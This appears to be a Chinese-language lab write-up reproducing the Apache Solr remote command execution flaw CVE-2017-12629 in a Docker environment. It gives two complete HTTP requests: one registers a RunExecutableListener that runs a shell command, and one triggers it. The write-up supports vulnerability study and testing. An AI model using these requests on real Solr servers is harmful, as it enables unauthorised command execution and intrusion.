Aaron
63285f61aa
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60 lines
1.7 KiB
Markdown
60 lines
1.7 KiB
Markdown
# Apache Solr 远程命令执行漏洞（CVE-2017-12629）
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Apache Solr 是一个开源的搜索服务器。它使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。在 7.1.0 版本之前，发现了两个漏洞：XML 外部实体注入（XXE）和远程命令执行（RCE），这两个漏洞的编号均为 CVE-2017-12629。这两个漏洞可以连接成利用链。
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本环境演示远程命令执行漏洞。
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参考链接：
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- <https://www.exploit-db.com/exploits/43009/>
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- <https://paper.seebug.org/425/>
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## 环境搭建
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执行如下命令启动 Apache Solr 7.0.1 服务器：
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```
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docker compose up -d
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```
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服务启动后，访问 `http://your-ip:8983/` 即可看到 Apache Solr 的管理页面，无需登录。
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## 漏洞复现
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首先创建一个 listener，设置 `exe` 的值为我们想执行的命令，`args` 的值为命令参数：
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```
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POST /solr/demo/config HTTP/1.1
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Host: your-ip
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Length: 158
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{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
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```
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然后进行 update 操作，触发刚才添加的 listener：
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```
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POST /solr/demo/update HTTP/1.1
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Host: your-ip
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 15
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[{"id":"test"}]
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```
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执行 `docker compose exec solr bash` 进入容器，可以看到 `/tmp/success` 文件已成功创建：
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